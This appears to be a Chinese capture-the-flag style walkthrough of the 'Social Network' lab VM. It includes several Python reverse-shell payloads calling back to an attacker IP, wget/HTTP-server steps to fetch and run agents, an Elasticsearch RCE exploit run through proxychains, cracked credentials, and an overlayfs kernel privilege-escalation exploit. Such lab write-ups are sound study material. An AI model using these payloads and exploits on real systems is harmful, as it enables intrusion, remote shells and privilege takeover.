Soclal Network

攻击机:Kali 靶机:Ubuntu
IP: 192.168.0.133 未知

信息收集

由于在于局域网
使用 nmap 神器进行ip 发现 和扫描
这里使用列出 几种 方式

Nmap

nmap -sV -T4 -O 192.168.0.0/24
-sV 版本探测 -T4 指定扫描过程中使用的时序模板 -O 主机系统探测
image.png

还有在于局域网 可以使用二层的发现

arp-scan

arp-scan -l
image.png

Netdiscover

Netdiscover
专用于二层发现;可用于无线和交换网络环境;主动和被动探测;
netdiscover -i 指定网卡 -r 网段
netdiscover -l IP.txt #netdiscover -l 指定IP列表
netdiscover -i eth0 -r 192.168.0.1/24
image.png

目标 IP

找到目标 IP
192.168.0.144

端口扫描

nmap -sV -p 1-65535 192.168.0.144
image.png
可以看见开启了 22 端口 和 5000 端口

端口扫描后的思路

22 端口
进行弱密码进行爆破
5000 端口
查看版本信息 是 Werkzeug 0.14.1 (python2 .7 )
基于python2.7 的 框架
查看历史漏洞
CVE-2019-14322 (目录遍历 )
CVE-2019-14806
好像没有什么好用的
那就去看看 5000 端口 都什么页面

5000 端口

image.png
这是一个 留言的 社交页面 并告诉我们是安全的
留言 可能存在xss 漏洞 sql注入 等漏洞

目录扫描

两款好用的目录扫描工具

Dirb

``dirb http://192.168.0.144:5000/

image.png

Dirsearch

`` dirsearch -u “http://192.168.0.144:5000/"
image.png

留言页面没有发现漏洞

发现/admin 页面

在目录扫描中发现了 另外一个页面 /admin
image.png
这个页面介绍了
可以使用把输入的代码 发到exec 去执行

代码执行

这里由于是python的环境
需要找到 是用python 写的 代码去反弹shell
找了 好久 的 python 反弹shell

反弹shell

网页反弹python 反弹shell

这个靶场 我测试了 第一个 可以用其他 反弹shell 在这里不能反弹成功

1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.133",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
1
2
3
4
5
6
7
8
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); # 创建套接字;AF_INET(TCP/IP – IPv4);SOCK_STREAM(TCP流)
s.connect(("192.168.0.133",1234)); # 要连接的ip地址和端口
os.dup2(s.fileno(),0); # os.dup2()方法用于将一个文件描述符 fd 复制到另一个 fd2
os.dup2(s.fileno(),1); # fileno()方法返回一个整型的文件描述符(file descriptor FD 整型),可用于底层操作系统的 I/O 操作
os.dup2(s.fileno(),2); # 使用fileno()返回一个整型的文件描述符,并使用os.dup2(s.fileno(),0)把这个整型的文件描述符复制到后面的0三个dup2函数先后将socket重定向到标准输入,标准输入,标准错误输出。
p=subprocess.call(["/bin/sh","-i"]); # subprocess.call()执行由参数提供的命令,返回命令的状态,0或者非0
# 可以是["/bin/bash","-i"]或["/bin/sh","-i"]
1
2
3
4
5
6
python -c "import os,socket,subprocess;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('192.168.100.8',4444));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(['/bin/bash','-i']);"
1
2
3
4
5
6
7
8
python -c  'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.0.133",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
import pty;
pty.spawn("/bin/bash")'
1
2
3
4
import sys,socket,os,pty;
s=socket.socket();
s.connect((os.getenv("192.168.0.133"),int(os.getenv("1234"))));
[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")

反弹成功

image.png
这直接是root 权限
ls 查看一下
发现了dockerfile 文件
Dockerfile 是一个用来构建镜像的文本文件,文本内容包含了一条条构建镜像所需的指令和说明。
image.png

判断 是否 是docker容器

方法一 :
cat /proc/1/cgroup
如果有这个文件 就代表一定是docker容器了
blkio 有docker 而且hash 值就 在后面
image.png

方法二 :
ls ./dockerenv

是docker容器 所以 要进行容器 逃逸

内网

主机发现

image.png
本地 ip 和 一开始 ip 不一样更确定是docke’r 容器了
进行内网扫描 ip
最简单的方法就是 ping
# 扫描172.17.1.1 - 172.17.254.254并提取有回包的ip
for i in $(seq 1 254);dofor j in $(seq 1 254);do ping -c 1 172.17.$i.$j | grep "ttl";done;done
这里是 靶机 就扫描 几个就好
for i in $(seq 1 10);do ping -c 1 172.17.0.$i | grep "ttl";done

存在的 IP 地址
image.png
存在 ip 1, 2 , 3
接下来就需要对172.17.0.1172.17.0.3进行端口扫描,看看它们上面开启了什么服务、有没有漏洞、是否可以渗透进去

内网穿透

由于172.17处于内网网段,kali无法直接访问到,要解决这个问题需要借助内网穿透技术,将kali到172.17内网之间的网络路由打通

**venom 工具 **

利用venom这个工具可以很方便的在kali与内网之间建立一条隧道,然后基于这个隧道生成一个代理,使kali中的众多工具可以通过这个代理访问到目标靶机的内网
**venom **工具gitHub地址:GitHub - Dliv3/Venom: Venom - A Multi-hop Proxy for Penetration Testers
下载到 linux 之后 解压打开
image.png

agent_linux_x64这个客户端传输到目标系统上,在本机上运行对应的服务端admin_linux_x64
kali本机运行admin_linux_x64,侦听9999端口
执行命令:**./admin_linux_x64 -lport 9999**
image.png

把客服端给 靶机
kali 开启 http服务
python3 -m http.server 80
image.png
靶机 使用 wget 去获取 客服端文件
wget http://192.168.0.133/agent_linux_x64
image.png
赋可执行权限
chmod +x agent_linux_x64
客服端建立连接
./agent_linux_x64 -rhost 192.168.0.133 -rport 9999 目标主机 和端口
kali 接收到 客服端请求连接
image.png

服务端启动socks侦听端口

1
2
3
show  展示已经连接的客服端 
goto 1 goto到1 客服端
socks 1080 启动sockes 侦听本机 1080 端口

image.png

**proxychains 工具 **

为了让kali上的所有工具都可以挂代理访问内网,还需要使用proxychains这个工具
修改proxychains的配置文件,配置代理类型、IP、端口
执行命令: **sudo vim /etc/proxychains4.conf**
修改成 socke5 127.0.0.1 1080
image.png

内网端口扫描

使用工具 前面要加上 **proxychains **
**proxychains nmap -Pn -sT 172.17.0.1 **
image.png
还是开了5000 端口
**proxychains nmap -Pn -sT 172.17.0.2 **
image.png
也是5000 端口

对网页进行查看
设置浏览器代理
image.png

和 容器一样的 服务
172.17.0.1 和 2 是一样的服务 image.png
image.png
172.0.0.3 是一个 wap-wsp

image.png
image.png

172.17.0.3

172.17.0.3 开启的 9200 端口 服务 是 ElasticSearch 漏洞
因为这个服务 以前有很多 rce 漏洞 使用msf 搜索一下 漏洞exp
searchsploit ElasticSearch
image.png
就选择第一个
cd /usr/share/exploitdb/exploits/linux/remote
image.png
proxychains python2 36337.py 172.17.0.3
这样就又的一台 主机

image.png
可惜 又是一台 docker 容器
image.png

内网目标主机

那现在内网目标主机就是 172.17.0.1 了
但是在刚才的容器 可以发现有一个passwords 文件
查看发现是用户名 和 md5 值
image.png
解密
解密网站
https://www.t007.cn/
https://www.cmd5.com/
https://www.somd5.com/

1
2
3
4
5
john            1337hack
test 1234test
admin 1111pass
root 1234pass
jane 1234jane

登录目标主机

使用发现的用户名密码进行ssh 登录
经过测试只有 john 可以成功登录
image.png
只是一个普通用户
image.png
需要进行提权处理

内核提权

uname -a
image.png
使用的 3.13 的 内核版本
搜索 linux 3.13
searchsploit linux 3.13
选择
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - ‘overlayfs’ Local Privilege Escalation | linux/local/37292.c

image.png

通过查看源码发现

  1. 在第139-147行,通过C代码再次执行了gcc命令,将ofs-lib.c编译为ofs-lib.so文件,所以即便在kali上事先编译好了,但是当在目标系统上运行的时候由于目标系统上并没有安装gcc还是会报错;解决的方法有很多,比较简单直接的方法是修改源码内容,将编译部分删除,然后在kali中寻找有没有现成的ofs-lib.so文件
  2. 148行,读取了**/tmp/ofs-lib.so文件,所以在目标系统上执行的时候,需要将ofs-lib.so文件放到tmp**目录下才可以成功读取到这个文件

修改源码文件,删除原先的第139-147行,修改后的内容如下
image.png
编译修改后的C源码
执行命令: **gcc -o exp 37292.c**
image.png

查找kali中是否有ofs-lib.so文件
执行命令: locate ofs-lib.so 或者 find / -name ofs-lib.so

image.png
复制到当前目录
cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so ./
开启 http 服务
python3 -m http.server 80
image.png

目标主机进入 tmp 目录下面
下载下来之后执行
image.png
赋 可执行权限 然后执行
image.png
变成 root 权限 了